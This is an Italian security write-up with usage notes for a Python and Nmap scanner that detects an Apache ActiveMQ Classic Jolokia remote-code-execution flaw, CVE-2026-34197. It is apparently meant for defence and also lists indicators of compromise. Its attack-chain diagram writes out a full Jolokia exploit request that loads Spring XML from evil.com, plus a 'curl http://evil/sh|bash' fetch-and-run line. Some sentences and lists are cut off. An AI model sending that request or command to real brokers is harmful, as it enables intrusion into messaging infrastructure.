
# Rileva Apache ActiveMQ Classic RCE (CVE-2026-34197) tramite API Jolokia con script Python e Nmap NSE, verificando accesso non autenticato e vulnerabilità della versione.
Una vulnerabilità di esecuzione remota di codice in Apache ActiveMQ Classic che consente a un attaccante di eseguire codice arbitrario invocando l'operazione MBean addNetworkConnector(String) tramite l'API Jolokia (/api/jolokia/). L'attaccante incorpora un parametro brokerConfig dannoso che punta a un file XML Spring remoto, che ActiveMQ recupera e analizza, istanziando oggetti Java arbitrari e ottenendo l'esecuzione di codice.
Nelle , l'endpoint Jolokia è , rendendo questa una RCE non autenticata zero-click.
Questa vulnerabilità è rimasta nascosta nel codebase per 13 anni prima della scoperta con l'assistenza dell'IA.
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2026-34197 |
| Vendor | Apache Software Foundation |
| Prodotto | Apache ActiveMQ Classic |
| Versioni interessate | Tutte le versioni precedenti alla 5.19.4 e alla 6.2.3 |
| RCE non autenticata | Versioni dalla 6.0.0 alla 6.1.1 (Jolokia non ha autenticazione) |
| CVSS v3.1 | 8.8 (Alto) |
| CWE | CWE-94 — Controllo improprio della generazione di codice |
| Vettore di attacco | Rete |
| Autenticazione | Richiesta su 5.x; nessuna dalla 6.0.0 alla 6.1.1 |
| Interazione utente | Nessuna |
| Maturità dell'exploit | PoC pubblico disponibile |
| Corretto in | ActiveMQ Classic 5.19.4, 6.2.3 |
| Età del bug | ~13 anni nel codebase |
| Scoperta | Ricerca di vulnerabilità assistita dall'IA |
Apache ActiveMQ Classic è uno dei message broker open-source più ampiamente distribuiti nell'ecosistema Java. Implementa la specifica Java Message Service (JMS) e funge da spina dorsale della comunicazione asincrona in migliaia di ambienti enterprise in tutto il mondo.
ActiveMQ gestisce qualsiasi cosa, dalle code di elaborazione degli ordini e le pipeline di transazioni finanziarie ai flussi di telemetria IoT e ai bus di eventi dei microservizi. Se la tua organizzazione utilizza microservizi basati su Java, architettura event-driven o qualsiasi forma di messaggistica asincrona, c'è una buona probabilità che ActiveMQ sia da qualche parte nello stack.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
Quando un attaccante compromette ActiveMQ, non ottiene solo una shell su un singolo server. Si trova al **centro di ogni flusso di messaggi** dell'organizzazione, in grado di leggere, modificare, reindirizzare o iniettare messaggi tra sistemi critici.
---
## Analisi Approfondita della Vulnerabilità
### L'Architettura: Jolokia e JMX
**JMX** (Java Management Extensions) è l'interfaccia di gestione standard per le applicazioni Java. Espone gli "MBean" (Managed Beans) che consentono il monitoraggio e il controllo delle parti interne dell'applicazione. ActiveMQ espone gli MBean per la gestione di broker, code, topic, connessioni e altro.
**Jolokia** è un bridge JMX-over-HTTP. Traduce le operazioni JMX in un'API RESTful JSON, rendendo possibile gestire applicazioni Java tramite richieste HTTP senza richiedere un client JMX dedicato.
ActiveMQ Classic include Jolokia integrato, accessibile su `/api/jolokia/` nella porta della console web (predefinita: 8161).```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
È qui che iniziano i problemi. Jolokia espone tutta la potenza della gestione JMX tramite una semplice API HTTP. E una delle operazioni MBean disponibili sul broker è addNetworkConnector(String).
L'operazione addNetworkConnector(String) è progettata per creare bridge di rete tra istanze del broker ActiveMQ. Accetta una stringa URI che descrive come connettersi a un altro broker.
ActiveMQ supporta uno schema URI vm:// per connessioni broker in-process. Questi URI supportano un parametro brokerConfig che punta a un file di configurazione Spring XML. E Spring XML può istanziare oggetti Java arbitrari.
Ecco l'intera catena:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ sta facendo esattamente ciò per cui è stato progettato: caricare una configurazione del broker. Il problema è che la sorgente della configurazione è controllata dall'attaccante, e Spring XML è di fatto un formato di esecuzione di codice.
### Il Gap di Autenticazione
Questo è ciò che eleva la vulnerabilità da seria a critica:
| Versione ActiveMQ | Stato Auth Jolokia | Impatto |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Autenticato (default: admin:admin) | RCE autenticato, spesso banalmente aggirato |
| 6.0.0 a 6.1.1 | **Completamente non autenticato** | **RCE non autenticato** |
| 6.1.2 a 6.2.2 | Autenticato | RCE autenticato |
| 5.19.4+ / 6.2.3+ | Corretto (patch) | Non vulnerabile |
Su ActiveMQ 6.0.0 fino a 6.1.1, l'endpoint Jolokia richiede **zero autenticazione**. Chiunque possa raggiungere la porta 8161 ottiene esecuzione remota di codice non autenticata.
Anche sulle versioni in cui Jolokia richiede autenticazione, le credenziali di default `admin:admin` sono ampiamente note e spesso lasciate invariate in ambienti di sviluppo, staging e produzione.
---
## Analisi dell'Impatto
**Impatto immediato sull'host del broker:**
- Esecuzione remota completa di codice con i privilegi del processo ActiveMQ
- Accesso a tutte le code di messaggi, topic e messaggi memorizzati
- Capacità di leggere/modificare/iniettare messaggi in transito
- Accesso a file di configurazione, keystore e credenziali memorizzate
**Impatto a valle (tramite manipolazione dei messaggi):**
- Iniezione di messaggi malevoli nelle code di elaborazione
- Modifica di transazioni finanziarie, ordini o comandi in volo
- Intercettazione di dati sensibili che fluiscono attraverso il broker
- Interruzione di tutti i servizi dipendenti dai messaggi
**Amplificazione del rischio aziendale:**
- ActiveMQ si trova all'intersezione di ogni applicazione che lo utilizza
- Un singolo broker compromesso può influenzare dozzine di servizi connessi
- I broker di messaggi sono tipicamente posizionati in zone di rete fidate con ampio accesso
- Il movimento laterale è semplice dalla posizione di rete del broker```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Versione | Stato |
|---|---|
| ActiveMQ Classic 6.2.3+ | Corretto |
| ActiveMQ Classic 5.19.4+ | Corretto |
| ActiveMQ Classic 6.0.0 fino a 6.2.2 | Vulnerabile (6.0.0 fino a 6.1.1 = non autenticato) |
| ActiveMQ Classic < 5.19.4 | Vulnerabile (autenticato) |
| ActiveMQ Artemis | Non interessato (codebase diversa) |
Lo script Python rileva istanze ActiveMQ vulnerabili tramite un'analisi in più passaggi.
Come funziona:
/api/jolokia/ è accessibile senza autenticazione (HTTP 200 = aperto, 401 = autenticazione richiesta)admin:admin, user:user, admin:activemq/admin/ e / per stringhe di versione ActiveMQ utilizzando il pattern matching con espressioni regolariorg.apache.activemq:type=Broker per confermare che il percorso di exploit esistaNon vengono inviati payload di exploit. Non vengono eseguiti comandi. Lo scanner osserva solo l'accessibilità degli endpoint e le informazioni sulla versione.
Utilizzo:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**Opzioni:**
| Flag | Descrizione | Predefinito |
|------|-------------|---------|
| `-t`, `--target` | URL del singolo target (es. `http://host:8161`) | — |
| `-f`, `--file` | File con URL dei target, uno per riga (i commenti `#` sono supportati) | — |
| `-u`, `--username` | Nome utente per l'autenticazione Jolokia | — |
| `-p`, `--password` | Password per l'autenticazione Jolokia | — |
| `-o`, `--output` | Salva i risultati in un file JSON | — |
| `--timeout` | Timeout di connessione in secondi | `10` |
| `--verify-ssl` | Abilita la verifica del certificato SSL | Disabilitato |
| `-v`, `--verbose` | Output dettagliato con informazioni complete | Off |
**Esempio di output:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Esempio di output Nmap:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
Se vuoi controllare manualmente con curl:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
Se il Passo 1 restituisce una risposta JSON con le informazioni dell'agente Jolokia, l'endpoint non è autenticato. Se il Passo 2 funziona con le credenziali predefinite, hai accesso autenticato. In entrambi i casi, se l'MBean del broker è accessibile, il percorso di sfruttamento esiste.
---
## Indicatori di Compromissione
Cerca questi segnali nel tuo ambiente:
| Indicatore | Dove Controllare | Cosa Cercare |
|:---|:---|:---|
| Accesso Jolokia | Log di accesso della console web | POST a `/api/jolokia/` contenente `addNetworkConnector` |
| Recupero in uscita | Log di rete / firewall | Richieste HTTP da ActiveMQ a host esterni inattesi |
| Caricamento Spring XML | Log di ActiveMQ | Riferimenti a URI `xbean:http://` |
| Connettori di rete | Configurazione del broker | URI `vm://` con parametri `brokerConfig` che non hai creato tu |
| Processi figli | Monitoraggio dei processi | Processi inattesi generati dal processo Java di ActiveMQ |
**Comandi di indagine:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Azioni immediate (eseguile subito):
/api/jolokia/admin:admin sulla console webA breve termine (questa settimana):
addNetworkConnector)A lungo termine:
Kerem Oruç — Ingegnere della cybersecurity